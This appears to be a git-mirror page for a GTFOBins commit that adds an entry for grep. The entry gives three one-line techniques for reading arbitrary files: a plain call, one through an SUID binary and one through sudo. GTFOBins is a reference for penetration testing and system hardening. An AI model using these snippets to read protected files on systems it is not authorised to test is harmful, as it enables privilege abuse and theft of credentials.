mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-11-04 02:38:43 +01:00 
			
		
		
		
	Add grep
This commit is contained in:
		
				
					committed by
					
						
						Andrea Cardaci
					
				
			
			
				
	
			
			
			
						parent
						
							fbb0ccefa4
						
					
				
				
					commit
					0bca156294
				
			
							
								
								
									
										15
									
								
								_gtfobins/grep.md
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										15
									
								
								_gtfobins/grep.md
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,15 @@
 | 
			
		||||
---
 | 
			
		||||
functions:
 | 
			
		||||
  file-read:
 | 
			
		||||
    - code: |
 | 
			
		||||
        LFILE=file_to_read
 | 
			
		||||
        grep '' $LFILE
 | 
			
		||||
  suid-enabled:
 | 
			
		||||
    - code: |
 | 
			
		||||
        LFILE=file_to_read
 | 
			
		||||
        ./grep '' $LFILE
 | 
			
		||||
  sudo-enabled:
 | 
			
		||||
    - code: |
 | 
			
		||||
        LFILE=file_to_read
 | 
			
		||||
        sudo grep '' $LFILE
 | 
			
		||||
---
 | 
			
		||||
		Reference in New Issue
	
	Block a user